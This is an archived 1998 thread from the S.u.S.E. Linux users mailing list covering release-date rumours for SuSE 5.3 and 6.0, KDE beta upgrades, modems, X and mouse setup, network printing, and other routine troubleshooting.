I thought it strange as well.  I called last Friday to order 5.2, as
I'll 
have a new "box" coming in by Tues. from CSI in CO.  They build systems
like
tanks for Gateway prices.  They use nothing but Tyan motherboards, and
as a 
Sys. Admin. at Cornell, I've found that most advantageous.  I was told 
about their program where you're shipped new versions as they're
released, 
and of course, it's a reduced price....$35 plus S&H.  So, I
said...."sure 
do it."  Then he told me the new release was coming on in July, version
6.
Now, maybe it will be 5.3 or some such, but I was told 6.0.

Fred


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From kimon@wtco.net Sun Jun  7 20:14:32 1998
From: kimon@wtco.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Thanks, just one more thing..
Date: Sun, 07 Jun 1998 15:14:32 -0500
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Thanks to those who so promptly answered my question about glib vs libc5
and YAST. I was interested to hear that SuSE is planing to move to glib.
I take it that must be the newer library, and if it is not to
complicated, I am curious to know what it offers that libc5 does not.
(Only if somebody wants to explain)

One real last question is this... I want to play RealAudio files and I
have not since any other player than RealPlayer Gold for Linux. So I d/l
and installed it as it said, but when I play a file, it only plays the
first second of it. (Or often nothing at all) I have OSS version 3.7.1
(came with SuSE 5.2) and an Awe32 Value Edition card. Everything else
works (soundwise) except for midis, because I have not bothered with
loading soundbanks. What could be causing the problem with RealPlayer?
Does it use midi soundbanks ( I doubt that)? Or even better is there a
different player which will support .ram files?

Thanks,
Kimon Tsinteris


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From mhtexcollins@ccms.net Sun Jun  7 20:37:43 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 20:37:43 +0000
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Who is "THEM"?   and no I am not trying to join in on the smolder..    Havin'
fun now.

Fred A. Miller wrote:

> Michael Lankton wrote:
> >
> > Bodo and Hubert have been saying late summer/early fall all along on SuSE
> > 6.0, if indeed 6.0 is released instead of a libc5 based 5.3.  How do you
> > come across your information Fred?  It's irresponsible to say 6.0 will be
> > out next month unless you know with certainty that that is the case.
> > I wish SuSE would open 6.0 up for beta testing.  SuSE would benefit from
> > the bug reports and those of us itching for a development version of 6.0
> > would get our wish.  A win-win situation.
>
> I talked with them Friday, and was told that it was going to ship in
> July.  I ordered 5.2 anyway.
> 'Careful about the use of the term "irresponsible" when you don't know
> the situation.
>
> Fred
>
> --
> "We can't be so fixated on our desire to preserve the
> rights of ordinary Americans ..."
>
> Bill Clinton  (USA TODAY, 11 March 1993, page 2A)
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From satan@nfinity.com Sun Jun  7 20:40:59 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 15:40:59 -0500
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see Tom's Hardware Guide at http://sysdoc.pair.com>.  Abit and Asus have
been the top boards for p2 performance pretty much since the p2 was
introduced.  I believe he has benchmarks and reviews posted.

Fred A. Miller wrote:

>  They use nothing but Tyan motherboards, and
> as a
> Sys. Admin. at Cornell, I've found that most advantageous. =20
> 6.
> Now, maybe it will be 5.3 or some such, but I was told 6.0.
>=20
> Fred
>

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From fmiller@lightlink.com Sun Jun  7 21:40:40 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 17:40:40 -0400
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I called the 888-* number off the SuSE web site to order.  It was from=20
the rep. I talked to.

Fred

TEX wrote:
>=20
> Who is "THEM"?   and no I am not trying to join in on the smolder..    Havi=
n'
> fun now.
>=20
> Fred A. Miller wrote:
>=20
> > Michael Lankton wrote:
> > >
> > > Bodo and Hubert have been saying late summer/early fall all along on Su=
SE
> > > 6.0, if indeed 6.0 is released instead of a libc5 based 5.3.  How do you
> > > come across your information Fred?  It's irresponsible to say 6.0 will =
be
> > > out next month unless you know with certainty that that is the case.
> > > I wish SuSE would open 6.0 up for beta testing.  SuSE would benefit from
> > > the bug reports and those of us itching for a development version of 6.0
> > > would get our wish.  A win-win situation.
> >
> > I talked with them Friday, and was told that it was going to ship in
> > July.  I ordered 5.2 anyway.
> > 'Careful about the use of the term "irresponsible" when you don't know
> > the situation.
> >
> > Fred
> >
> > --
> > "We can't be so fixated on our desire to preserve the
> > rights of ordinary Americans ..."
> >
> > Bill Clinton  (USA TODAY, 11 March 1993, page 2A)
> > --
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>=20
> --
>  -
>  -
>  --
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>  redhat press.
>=20
>  -
>  Celis GranCru and Linux;  Nowhere but South Austin Texas.
>  -
>  -
>  -
>  TEX             http://www.ccms.net/=
~mhtexcollins/78704.htm>
>=20
>                       __
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From fmiller@lightlink.com Sun Jun  7 21:43:15 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 17:43:15 -0400
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He may like them, and so may some others.  I've had very bad results
with
Asus in the past, and therefore they are NOT on the "approved" list to
buy.
We just don't have problems with Tyan.

Fred

Michael Lankton wrote:
>=20
> see Tom's Hardware Guide at http://sysdoc.pair.com>.  Abit and Asus have
> been the top boards for p2 performance pretty much since the p2 was
> introduced.  I believe he has benchmarks and reviews posted.
>=20
> Fred A. Miller wrote:
>=20
> >  They use nothing but Tyan motherboards, and
> > as a
> > Sys. Admin. at Cornell, I've found that most advantageous.
> > 6.
> > Now, maybe it will be 5.3 or some such, but I was told 6.0.
> >
> > Fred
> >
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From bb@suse.com Sun Jun  7 22:46:35 1998
From: bb@suse.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSEconfig and default runlevel
Date: Sun, 07 Jun 1998 15:46:35 -0700
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On Wed, 27 May 1998, Juergen Braukmann wrote:

> 
> Hello,
> 
> this get's a bit annoying: since I've installed 5.2, everytime
> SuSEconfig
> is run, the default runlevel in inittab is changed from 3 to 2.
> 
> There _must_ be a variable in rc.config, but I can't find it.

Look at this:

#
# SuSEconfig can do some modifications to /etc/inittab.  If you don't want
# this, set CHECK_INITTAB to no.  (yes/no)
#
CHECK_INITTAB=yes

#
# Here you can set the default Display manager (kdm/xdm/console).
# Attention: CHECK_INITTAB has to be set to yes, to activate this feature.
#
DISPLAYMANAGER=console

Ciao,
        BB


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From jmbrooks@bigfoot.com Sun Jun  7 23:22:11 1998
From: jmbrooks@bigfoot.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 19:22:11 -0400
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Fred A. Miller wrote:
Is there a complete listing of modifications from 5.2?  Switching to
glibc is no small matter, in fact, I personally think that it is
overdue.  I am assuming that it will have ppp-2.3.3 and the 2.0.34
kernel with FAT32 support also.  What else?

> I talked with them Friday, and was told that it was going to ship in
> July.  I ordered 5.2 anyway.
> 'Careful about the use of the term "irresponsible" when you don't know
> the situation.
> 
> Fred

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From lsayre@integrityonline13.com Mon Jun  8 00:22:46 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] KDE Beta 4 and SuSU 5.2
Date: Sun, 07 Jun 1998 19:22:46 -0500
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A few weeks back I was turned off to upgrading my KDE 3 to KDE 4 after
hearing numerous nightmares and problems.  Now after numerous hangs,
etc.. using beta 3, I'm thinking beta 4 again.

Has anyone painlessly managed to upgrade beta 3 to beta 4, and if so,
can you detail how it was done?

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Man's mind is his basic tool of survival!

Lawrence Sayre 
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From jmbrooks@bigfoot.com Mon Jun  8 00:34:24 1998
From: jmbrooks@bigfoot.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Beta 4 and SuSU 5.2
Date: Sun, 07 Jun 1998 20:34:24 -0400
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I installed KDE beta 4 on my system (5.1), with no real problem, simply
by using rpm, i.e.

rpm -U k*.rpm

Now, my problem is that I can't get KDE to start from the console using
"startkde".  When I try, it says it can't connect to an Xserver.  I'm
sure that there is something simple that I am missing here, but I would
appreciate any assistance.  Thanks.

Lawrence Sayre wrote:
> 
> A few weeks back I was turned off to upgrading my KDE 3 to KDE 4 after
> hearing numerous nightmares and problems.  Now after numerous hangs,
> etc.. using beta 3, I'm thinking beta 4 again.
> 
> Has anyone painlessly managed to upgrade beta 3 to beta 4, and if so,
> can you detail how it was done?

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From mclark@datsrvr.datsit.com Mon Jun  8 00:38:23 1998
From: mclark@datsrvr.datsit.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Beta 4 and SuSU 5.2
Date: Sun, 07 Jun 1998 18:38:23 -0600
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Lawrence Sayre wrote:

> A few weeks back I was turned off to upgrading my KDE 3 to KDE 4 after
> hearing numerous nightmares and problems.  Now after numerous hangs,
> etc.. using beta 3, I'm thinking beta 4 again.
>
> Has anyone painlessly managed to upgrade beta 3 to beta 4, and if so,
> can you detail how it was done?
>
> -----------------------------------------------
> Man's mind is his basic tool of survival!
>
> Lawrence Sayre 
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I upgraded via ftp and YaST.  It worked perfectly!!  I even used kde as
my window manager to connect to the internet and upgrade.  I had no
problems.

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From dana@ntd.net Mon Jun  8 01:10:12 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Sun, 07 Jun 1998 20:10:12 -0500
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Aaron Seelye wrote:

> Mark Wagnon wrote:
>
> > Als look
> > for v.90 ready or upgradable.
>
> With the file you either dl or are sent, do you have to go into windows to
> upgrade?  i've never done one of those before, and i was wondering how the
> upgrades work.

For my USRobotics X2 modem I had to fire up Windows 3.11 and do
the upgrade to V.90.  I'm pretty positive that you need some flavor of
Windows for upgrading the flash rom.  I have the internal Sportster
X2 with fax, great modem.  Just *stay* away from the *win* model(s).

Dana


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From bennylam@netvigator.com Mon Jun  8 01:33:59 1998
From: bennylam@netvigator.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] How to prin to a ip-network printer?
Date: Mon, 08 Jun 1998 09:33:59 +0800
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Hello,
    I am new to printing in linux, especially SuSE dist., I
can't find a how-to doc help me to print to a ip-network
printer in my office, can anybody help me.

Thanks a lot!
Benny Lam
A Linux user in HK China


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From bennylam@netvigator.com Mon Jun  8 01:37:22 1998
From: bennylam@netvigator.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Anybody successfully install Suse in Think pad 560X?
Date: Mon, 08 Jun 1998 09:37:22 +0800
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Hello,
    I find it is difficult to install X in my thinkpad 560x,
and also I cannot dialout to the PC card modem. How come?

Benny Lam
A Linux user in HK China


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From chandlerrick@hotmail.com Mon Jun  8 01:54:01 1998
From: chandlerrick@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] X Setup
Date: Sun, 07 Jun 1998 18:54:01 -0700
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>I cannot get X windows setup.  Can anyone tell me the meaning of "errno
>=3D 111".
>I have a Cirrus 5446 card and a Tystar 14" monitor and have tried both
>XFsetup and config versions to try to get it working but no luck.
>Any suggestions would be appreciated.
>I want to get it going so I can run StarOffice and replace all my M$
>stuff.
>
>Thanks

Try using your card and the custom monitor section using the Super VGA=20
as the monitor.  I have the same card and that's what I did.

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From hongfeng@public.wh.hb.cn Mon Jun  8 02:40:04 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Anybody successfully install Suse in Think pad 560X?
Date: Mon, 08 Jun 1998 10:40:04 +0800
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Hi Benny:

Pls specify the problem you have more clearly. I will check it I can help
you.

Rgds,

Hong Feng
CLUG/China Linux User Group

Benny Lam ??????

> Hello,
> I find it is difficult to install X in my thinkpad 560x,
> and also I cannot dialout to the PC card modem. How come?
>
> Benny Lam
> A Linux user in HK China
>
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From khayes@flash.net Mon Jun  8 02:53:11 1998
From: khayes@flash.net
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Anybody successfully install Suse in Think pad 560X?
Date: Sun, 07 Jun 1998 19:53:11 -0700
Message-ID: <98060719552500.00208@dogwaffle>
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On Sun, 07 Jun 1998, Benny Lam wrote:
>Hello,
>    I find it is difficult to install X in my thinkpad 560x,
>and also I cannot dialout to the PC card modem. How come?

You might want to check the site: http://www.linux.org>.

It was recently reorganized and is much more useful than before (IMHO).=20
Check under the hardware section, and there is information about K.
Harker's Linux Laptop Support page.  I found a lot of useful information
there.  I haven't checked for a TP560 yet though.
ed in the TP560.

Best,
Kyle


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From fmiller@lightlink.com Mon Jun  8 05:18:58 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Mon, 08 Jun 1998 01:18:58 -0400
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I don't have it, no.  The fellow I talked to said he hadn't been there
very
long.  I was pressed for time, so I didn't get into details of what the
new version improvements are.  I talked to enough people using SuSE who
are also familur with Red Hat, who all gave me ample reasons to get
SuSE rather than Red Hat that I just ordered what was currently
available.

Fred

Jonathan Mark Brooks wrote:

> Is there a complete listing of modifications from 5.2?  Switching to
> glibc is no small matter, in fact, I personally think that it is
> overdue.  I am assuming that it will have ppp-2.3.3 and the 2.0.34
> kernel with FAT32 support also.  What else?
> 
> > I talked with them Friday, and was told that it was going to ship in
> > July.  I ordered 5.2 anyway.
> > 'Careful about the use of the term "irresponsible" when you don't know
> > the situation.
> >
> > Fred
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From zokiphoto@magic.fr Mon Jun  8 05:56:27 1998
From: zokiphoto@magic.fr
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Beta 4 and SuSU 5.2
Date: Mon, 08 Jun 1998 07:56:27 +0200
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On Sun, 7 Jun 1998, Jonathan Mark Brooks wrote:

->
->I installed KDE beta 4 on my system (5.1), with no real problem, simply
->by using rpm, i.e.
->
->rpm -U k*.rpm
->
->Now, my problem is that I can't get KDE to start from the console using
->"startkde".  When I try, it says it can't connect to an Xserver.  I'm
->sure that there is something simple that I am missing here, but I would
->appreciate any assistance.  Thanks.
->

Hi Jonathan,

You're not supposed to start KDE with startkde. Put startkde in the
.xinitrc file in your home directory and start it with startx.

Zoki.

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From weissel@jupiter.ph-cip.uni-koeln.de Mon Jun  8 07:45:49 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] com1 microsoft mouse
Date: Mon, 08 Jun 1998 09:45:49 +0200
Message-ID: <19980608094549.A3299@Tiger.uni-koeln.de>
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Hi!

[reformated to <80 Chars/line]
Trying to kill the keyboard, eramunds(a)online.no produced:
> Please help a beginner at linux.
> 
> I installed the suse linux and i can get xf86setup running thru yast,
> but my mouse does not work att all. after a while the box locks up
> and i have to "cntr - alt - del" to get it running again.
> 
> In win95 my mouse is placed under com1, irc 4 and it's a serial
> microsoft mouse 2 button.
> Anyone have a clue?

Well, 

1. please keep the line length to <80 chars. If your software does not
   give you a way to check that properly, dump it, it makes you look 
   not considerable towards others.

2. Did you finish the installation of X?
3. Did you experiment with the different possibilities offered for
   mice? (You can use the keyboard ... even if the mouse does not work.
   Both in xf86config (just use the shortcuts and TAB) and with X
   (Shift+cursor-keys, Shift+Alt+cursor-keys)).
4. You want a 3-button-mouse. You really do.
5. com1 translates to cua0
6. Is gpm running, perhaps? Does your mouse work on the console? 
7. Unluckily my mindreading skills are bad, what graphics card are you
   using, you said? And does it work with X?
8. So what is /var/log/messages saying about the 'crash' (I think at
   worst you managed to get your keyboard info garbled, but you'd still
   be able to telnet in if you had the network and a terminal to do
   so.)
9. You hopefully did install the howtos ... have a look at them in
   /usr/doc/howto.
10.You did look at the SDB? Lynx does work well from a text-console,
   too, you know.

-Wolfgang


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From weissel@jupiter.ph-cip.uni-koeln.de Mon Jun  8 07:53:45 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Installation problems
Date: Mon, 08 Jun 1998 09:53:45 +0200
Message-ID: <19980608095345.B3299@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, domlife(a)domlife.com produced:
> 2. Boot looks fine. named is started (although I am not sure I set up
> anything for that expllicitly, probably under 'portmap' daemon) 3.
> eth0 is set up and works fine. 4. ppp0 is set up, both local and
> remote IP are 0.0.0.0 5. local ping works fine (ovr the LAN segment
> subnet).

I think you can get by with /etc/hosts in your small network --- unless
you want to play and learn with a nameserver.

> Now is the big one.
> 6. ping to an outside IP returns "Network is unreachable"
> Log of /etc/suseppp/scripts/ppp-up  returns no errors and
> shoes 2 IPs assigned (local/remote). That is all I know. 

You seem to have not set up the routes correctly. Someone must tell the
kernels where to ask if it's not on the local lan ... default route is
set up by pppd once the connection is there, but not for all the other
computers, only for the one pppd is connecting from on.

HTH.

-Wolfgang


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From nick@belam.gazinter.net Mon Jun  8 11:43:46 1998
From: nick@belam.gazinter.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Mirror FTP-sites
Date: Mon, 08 Jun 1998 14:43:46 +0300
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        Good day,

        I am looking for a list of ftp mirror sites of ftp.suse.com.
        And which is best?

                                            Nick K. Kozubsky
                                          nick(a)belam.koenig.ru
                                   Tel/FAX: +7 0112 350505 + voice 232

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From hongfeng@public.wh.hb.cn Mon Jun  8 12:31:09 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Mirror FTP-sites
Date: Mon, 08 Jun 1998 20:31:09 +0800
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Hi,

Maybe you can talk this with Dr. Victor Kurian on this business,
he is a sysop for REX400 club in Moscow.

 

Best,

Frederic

 

 

Nick K. Kozubsky дµ½£º

        Good day,

        I am looking for a list of
ftp mirror sites of ftp.suse.com.

        And which is best?

                                           
Nick K. Kozubsky

                                         
nick(a)belam.koenig.ru

                                  
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From mclark@datsrvr.datsit.com Mon Jun  8 12:35:35 1998
From: mclark@datsrvr.datsit.com
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Anybody successfully install Suse in Think pad 560X?
Date: Mon, 08 Jun 1998 06:35:35 -0600
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Benny Lam wrote:

> Hello,
>     I find it is difficult to install X in my thinkpad 560x,
> and also I cannot dialout to the PC card modem. How come?
>
> Benny Lam
> A Linux user in HK China
>
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Try the linux laptop support page:

http://www.cs.utexas.=
edu/users/kharker/linux-laptop/>

Here is the 560x specifically:

http://www.mnsinc.com/js/Neomagic.html>

mc


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From pbleser@prov-liege.be Mon Jun  8 12:36:01 1998
From: pbleser@prov-liege.be
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Mirror FTP-sites
Date: Mon, 08 Jun 1998 14:36:01 +0200
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Here's a very fast and huge one:
ftp://ftp.gwdg.de:/pub/linux/suse/>
It's also (among a lot of others) a SunSite mirror:
ftp://ftp.gwdg.de:/pub/linux/mirror=
s/sunsite/>
It's especially fast in the evening, because they allow more connections at
the same time...

Pascal
  /nick SuSE52 on #linux (IRCnet)
  root on www.student.prov-liege.be

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To: suse(a)belam.gazinter.net 
Date: lundi 8 juin 1998 13:44
Subject: [S.u.S.E. Linux] Mirror FTP-sites

>
>
> Good day,
>
> I am looking for a list of ftp mirror sites of ftp.suse.com.
> And which is best?
>
>     Nick K. Kozubsky
>   nick(a)belam.koenig.ru
>    Tel/FAX: +7 0112 350505 + voice 232
>
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From nick@belam.gazinter.net Mon Jun  8 13:27:04 1998
From: nick@belam.gazinter.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Mail delivering
Date: Mon, 08 Jun 1998 16:27:04 +0300
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        Dear friends...

        What you think about exim - mail?
        Have anybody a rpm of exim?

                                    Thank's.

                                            Nick K. Kozubsky
                                          nick(a)belam.koenig.ru
                                   Tel/FAX: +7 0112 350505 + voice 232

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From mr.zelig@linux.nu Mon Jun  8 14:22:43 1998
From: mr.zelig@linux.nu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Beta 4 and SuSU 5.2
Date: Mon, 08 Jun 1998 16:22:43 +0200
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At 19:22 1998-06-07 -0500, Lawrence Sayre wrote:
>
>A few weeks back I was turned off to upgrading my KDE 3 to KDE 4 after
>hearing numerous nightmares and problems.  Now after numerous hangs,
>etc.. using beta 3, I'm thinking beta 4 again.
>
>Has anyone painlessly managed to upgrade beta 3 to beta 4, and if so,
>can you detail how it was done?
>
Well, I upgraded from beta 1 to beta 4 and that was completely painless. I
simply used yast and marked which files to install and then I installed
them. It was very easy and it works perfect.

You don't have to worry about your config-files since they are in your
directory.

Have a great day
Mikael
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From brauki@cityweb.de Mon Jun  8 15:11:55 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] famous last words
Date: Mon, 08 Jun 1998 17:11:55 +0200
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Wolfgang Weisselberg wrote:
> 
> Hi!
> 
> Trying to kill the keyboard, brauki(a)cityweb.de produced:
> > today my linux system crashed and hung.
> > (2.0.33-suse, i486dx4, vlb, adaptec 2970scsi)
> >
> > famous last words in messages:
> > .... (scsi0:0:5:-1) Unexpected busfree, LASTPHASE = 0x80, SEQADDR = 0x14a
> >
> > anything serious?
> 
> When Linux crashes, that is very serious ... unlike some other
> 'operating' 'systems', Linux should never crash. Either you stumbled on
> a bug in the kernel or your hardware is ... suboptimal.
> 
> > any ideas?
> 
> Yes, try to give us the complete error message. There should have been
> some info on the console 1 ... and maybe there's a _bit_ more info in
> /var/log/messages ... without that it's hard to mindread.

look now a bit ugly ;-(, but there was not much more:

Jun  6 19:45:05 slartibartfast isdnlog: Jun 06 19:45:05 tei 64 calling ?
with ?  PROGRESS: Inband Information available
Jun  6 19:45:06 slartibartfast isdnlog: Jun 06 19:45:06 tei 64 calling ?
with ?  HANGUP User busy
Jun  6 19:45:25 slartibartfast isdnlog: Jun 06 19:45:25 * tei 127
calling Juergen Braukmann with ?  RING ()
Jun  6 19:53:00 slartibartfast /USR/SBIN/CRON[865]: (root) CMD
($HOME/bin/cron.daily)
Jun  6 19:55:52 slartibartfast su: (to nobody) root on none

# I start a script that might shut down ISDN if telecom sponsoring was
done...
Jun  6 19:59:00 slartibartfast /USR/SBIN/CRON[1031]: (root) CMD (test -e
/sbin/e-break && /sbin/e-break)

# good bye:-(
Jun  6 20:04:52 slartibartfast kernel: (scsi0:0:5:-1) Unexpected
busfree, LASTPHASE = 0x80, SEQADDR = 0x14a

# coming back to live
Jun  6 20:33:46 slartibartfast syslogd 1.3-0: restart.
Jun  6 20:33:47 slartibartfast named[179]: starting
Jun  6 20:33:47 slartibartfast named[179]: cache zone "" loaded (serial
0)
Jun  6 20:33:47 slartibartfast named[180]: Ready to answer queries.
Jun  6 20:33:48 slartibartfast kernel: klogd 1.3-0, log source =
/proc/kmsg started.

after all, there was a little bit of thunder&lightning outside, but
realy not so much to call it so.

> 
> Anyway, your SCSI system got a SCSI interrupt, and something was a bit
> strange, so it said: Hmmm ... let's wait for the commands to time out,
> and tell (as an info) that that happened.
> (see /usr/src/linux/drivers/scsi/aic7xxx.c)
> 
well, I do not speak C, just ancient FORTRAN and a bit Pascal...

> So that in itself was not critical at all, it seems.

that's what I guess too. First realy "serious" crash for a long time.
> 
> -Wolfgang
> 

Jürgen


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From brauki@cityweb.de Mon Jun  8 15:30:01 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] How to prin to a ip-network printer?
Date: Mon, 08 Jun 1998 17:30:01 +0200
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Benny Lam wrote:
> 
> Hello,
>     I am new to printing in linux, especially SuSE dist., I
> can't find a how-to doc help me to print to a ip-network
> printer in my office, can anybody help me.
> 
> Thanks a lot!
> Benny Lam
> A Linux user in HK China
> 

Hello,

the "standard" printing-howto should tell you about it. There is a
section that describes how to use other unix machines printers.

your printer must have an assigned IP number. The printserver board or
whatever you call it must have ports.
i.e. I use a HP-Jet-direct car for my HP-XL300 at work. the IP is
assigned to 10.200.128.53 (or whatever). the card has two devices: text
and raw. I made an entry in /etc/printcap:

netprinter|xl300|lp3:\
        :rp=raw:\
        :rm=10.200.128.53:\
        :sd=/var/spool/lpd/PS_300dpi-a4-ascii-mono-300:

the devices explain the way data is treated: raw = no terament, in=out,
text converts CR/LF codes.

This example entry is from memory, can't proof it's right from here.
yast offers setup of network printers as well, but i never looked into
that.

Jürgen


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From brussell@southcom.com.au Mon Jun  8 16:05:49 1998
From: brussell@southcom.com.au
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Tue, 09 Jun 1998 02:05:49 +1000
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Hi

Just a quick note.  I have an external (US Robotics) and internal (Hayes).
The internal was set with plug and play.  This did not work with Unix nor NT.
I have not tried it yet under Linux.  I had to manually configure it using the
jumpers.  The external worked no problem.  The point being, plug and play is
great for Windows 95 but may not suit other operating systems.

Just my few cents worth.

Regards Brett.

Jim Hatridge wrote:

> On Sat, 6 Jun 1998, Gene Flanagin wrote:
>
> >
> > I am going to purchase a new modem in the near future and I need to know
> > whether I should get an internal one or an external one. Also which
> > companies are best for linux (or SUSE).
> >
> > Gene Flanagin
> > exdeath(a)mindspring.com
>
> Hi Gene,
>
> Just my thoughts on modems. I have an internal one, because I don't have a
> lot of desk space to put boxs. But an external one is probalbly the best
> for a linux system. In the event that you need to change it you don't have
> to bring down the system or open the box. And whatever you do DON'T get a
> winmodem. They are junk to start with and get worst as you go along. You
> should get the best that you can afford. That's one thing you should not
> save money on.
>
> Hope this helps!
>
> JIM
>
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From mr.zelig@linux.nu Mon Jun  8 16:14:02 1998
From: mr.zelig@linux.nu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Beta 4 and SuSU 5.2
Date: Mon, 08 Jun 1998 18:14:02 +0200
Message-ID: <3.0.32.19980608172925.0079b660@f_utbserv.cse.hks.se>
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At 20:34 1998-06-07 -0400, Jonathan Mark Brooks wrote:
>
>I installed KDE beta 4 on my system (5.1), with no real problem, simply
>by using rpm, i.e.
>
>rpm -U k*.rpm
>
>Now, my problem is that I can't get KDE to start from the console using
>"startkde".  When I try, it says it can't connect to an Xserver.  I'm
>sure that there is something simple that I am missing here, but I would
>appreciate any assistance.  Thanks.
>
In .bashrc simply put this line

export WINDOWMANAGER=3Dstartkde

and start X by typing startx in your console.
That should work.

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From jpcowh01@ox.slug.louisville.edu Mon Jun  8 18:28:32 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Mon, 08 Jun 1998 14:28:32 -0400
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> Hi
>=20
> Just a quick note.  I have an external (US Robotics) and internal (Hayes).
> The internal was set with plug and play.  This did not work with Unix nor N=
T.
> I have not tried it yet under Linux.  I had to manually configure it using =
the
> jumpers.  The external worked no problem.  The point being, plug and play is
> great for Windows 95 but may not suit other operating systems.
>=20
> Just my few cents worth.
>=20
> Regards Brett.
>=20

        I have serveral pnp card that I've used with my linux box, although I=
 won't say that all pnp cards will work under linux, your modem should...  Th=
ere is tool called isapnptools that most distributions come with...  It can t=
ell you what the settings for pnp are for each card it detects (this also wor=
ked with a pnp pci ethernet card I had) and configure any compatible drivers =
to work with that device...


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From hlarons@ComCAT.COM Mon Jun  8 19:07:59 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] X Setup
Date: Mon, 08 Jun 1998 15:07:59 -0400
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denis miller wrote:
> 
> I cannot get X windows setup.  Can anyone tell me the meaning of "errno
> = 111".
> I have a Cirrus 5446 card and a Tystar 14" monitor and have tried both
> XFsetup and config versions to try to get it working but no luck.
> Any suggestions would be appreciated.
> I want to get it going so I can run StarOffice and replace all my M$
> stuff.
> 
> Thanks
> Denis
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Dennis,

First, try the README.cirrus in the XF86 docs. I've got a Cirrus 5426,
and there's a ton o' useful stuff in that file.

Second, look at the message(s) in the err.X file that the Xserver
produces when it tries to start. That may give you a clue as to what
section of the Config file is bad.

Third, are you providing good values for the Vert and Horiz
sync/refresh rates? If there's no match with the modelines, the
XServer won't start.

Finally, try adding
Chipset:   "clgd5446"
Clockchip: "cirrus"

to the device section of Config.

HTH,

Howard Arons

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From hlarons@ComCAT.COM Mon Jun  8 19:14:06 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Netscape Mail Stalls Without PPP Connection
Date: Mon, 08 Jun 1998 15:14:06 -0400
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Whenever I try to use Netscape 4.04 mail "offline," the program
freezes and the windows go blank, requiring a "kill" command.

The browser starts up fine, but one click to the mail window and I'm
dead. Things work OK if there's a PPP connection up-and-running
however, even though I'm not attempting to send or receive traffic.
Bummer.

Anybody had this problem? Is there a fix?

Howard Arons

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From stugreen@bga.com Mon Jun  8 20:35:21 1998
From: stugreen@bga.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Mail Stalls Without PPP Connection
Date: Mon, 08 Jun 1998 15:35:21 -0500
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Howard Arons wrote:

> Whenever I try to use Netscape 4.04 mail "offline," the program
> freezes and the windows go blank, requiring a "kill" command.
>
> The browser starts up fine, but one click to the mail window and I'm
> dead. Things work OK if there's a PPP connection up-and-running
> however, even though I'm not attempting to send or receive traffic.
> Bummer.
>
> Anybody had this problem? Is there a fix?
>
> Howard Arons
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Try a 'route del default' prior to starting netscape without your ppp
running.


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From james@suse.com Mon Jun  8 22:11:40 1998
From: james@suse.com
To: users@lists.opensuse.org
Subject:
 [S.u.S.E. Linux] Release of 5.3 [was: Yast, ld.conf.so, and libraries?]
Date: Mon, 08 Jun 1998 15:11:40 -0700
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Greetings, everyone!=20

Sorry for the confusion on release dates. I received a report today from
the developers on what's happening. We will release 5.3 in mid to late
August. This is in synch with our normal release schedule, since we try
for 3 releases per year.=20

There will be a 6.0 beta in late September and an official release in
November, which will be at last glibc.=20

I will divulge more as I know it!  Thanks for your patience!

Sincerely,

James Gray

> I don't have it, no.  The fellow I talked to said he hadn't been there
> very
> long.  I was pressed for time, so I didn't get into details of what the
> new version improvements are.  I talked to enough people using SuSE who
> are also familur with Red Hat, who all gave me ample reasons to get
> SuSE rather than Red Hat that I just ordered what was currently
> available.
>=20
